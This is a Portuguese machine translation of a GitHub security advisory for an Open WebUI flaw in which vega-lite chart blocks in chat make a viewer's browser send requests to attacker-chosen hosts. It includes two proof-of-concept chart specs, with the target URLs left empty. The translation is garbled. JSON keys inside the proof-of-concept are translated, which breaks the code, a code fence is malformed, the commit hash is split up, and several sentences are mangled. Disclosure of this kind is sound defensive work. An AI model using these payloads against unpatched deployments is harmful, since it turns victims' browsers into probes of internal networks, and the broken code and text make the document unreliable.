Resumo Abrir WebUI renderiza `vega` e `vega-lite` blocos de código cercados no conteúdo do chat, construindo uma visão Vega no navegador do visor sem um carregador de recursos restrito. Qualquer usuário que possa colocar um bloco como esse onde outro usuário verá pode fazer com que o problema do navegador do usuário atacante- escolhido saindo solicitações GET, e ler as respostas de volta de alvos permititivos do mesmo origem ou do COS na página renderizada. Como o pedido vem do navegador, as proteçãos SSRF do lado do servidor nunca o vêem. ## Precondições Configuração padrão, nenhuma bandeira ou variáveis de ambiente envolvidas: bloqueios Vega renderizar incondicionalmente onde quer que o conteúdo do chat seja exibido. O atacante precisa de uma conta que possa colocar conteúdo na frente da vítima, que cobre um chat compartilhado, uma mensagem de canal e um modelo, RAG ou saída de ferramentas que o atacante pode influenciar. A vítima deve abrir a mensagem, então não é um clique zero. As implantações onde o navegador da vítima não tem posição de interesse em rede perdem pouco.

Impacto O navegador da vítima torna- se um proxy de pedido em qualquer lugar que possa alcançar: hospedeiros internos e portas atrás do perímetro, objetivos do mesmo local e balizas fora de banda que confirmam que um gráfico foi visualizado e por quem. Quando o alvo é o mesmo- origin ou retorna cabeçalhos CORS permissivos, o corpo de resposta é puxado de volta para o gráfico na página da vítima, o que transforma o pedido em uma leitura. Os pedidos são apenas GET, e nenhum dado do lado do servidor é exposto diretamente ao atacante. ## Fixar Fixado em 5278 eb 906 (# 26806 ), lançado em 0.11.0. A visão agora é construída com um carregador cujo `carga` sempre lança e cujo `satisfazer` resolve o URI com o próprio analisador de URL do navegador e permite apenas `data:` e resultados de mesma origem, assim os gráficos só podem usar inline `data.values'. A atualização é suficiente; não é necessária qualquer alteração de configuração.

Causa raíz - `src/lib/utils/index.ts` — `renderVegaVisualização' - `src/lib/components/chat/Messages/CodeBlock.svelte` — renderiza blocos `vega`/`vega-lite` O renderizador tratou uma especificação de gráfico como conteúdo de autor confiável, em vez de como texto de chat não confiável, por isso aceitou o carregador padrão do Vega. Esse carregador tem duas saídas separadas da página: `data.url` e fontes topojson/geo são coletadas na construção da visão, e as marcas de imagem passam seu `url` através de `sanitize` e são escritas na saída SVG como ` `, que o navegador busca quando o gráfico é exibido. O segundo caminho sobrevive à desinfectação SVG a jusante porque a URL é um valor legítimo de atributo, não um marcador.

Prova de conceito Postar bloqueio em um chat, mensagem de canal ou chat compartilhado que a vítima irá abrir. Nenhuma das duas exige que a vítima interaja além de visualização. ```vega-lite {"$schema":" 5.json","data":{"url":" 1 "},"marcar":"ponto"} ```. ```vega-lite {"$schema":" 5.json", "dados": {"valores":[{"x": 1 }]},"mark": {"tipo":"imagem","url":" {"x": {"campo":"x"}} ````.

O primeiro fogo na construção da visão; o segundo fogo quando o SVG renderizado é mostrado. Ambos são visíveis como pedidos de saída no log de rede da vítima e no ouvinte do atacante. Depois que a correção não é feita nenhuma solicitação e os gráficos `data.values` ainda são renderizados. ## Créditos - @Zureno — relatou o problema e o caminho `data.url`. - @Classic 298 — identificou o aquecimento da marca de imagem e autorizou a correção.

Registro de aconselhamento: GHSA- rffm- 9 q 57 - q 649. Identificadores relacionados: CVE- 2026 - 70480. Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 04 T 19: 54: 57.000 Z e lista a sua última modificação como 2026 - 08 - 04 T 19: 54: 57.000 Z.

Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N. Informações sobre software e versão afetadas: Pacote PyPI open-webui — ECOSISTEM: introduzido 0.6.34, corrigido 0.11.0.

Classificação e evidência: identificadores de fraqueza CWE- 918. O registro contém 5 suporte de referências nestes tipos: WEB, PACKAGE.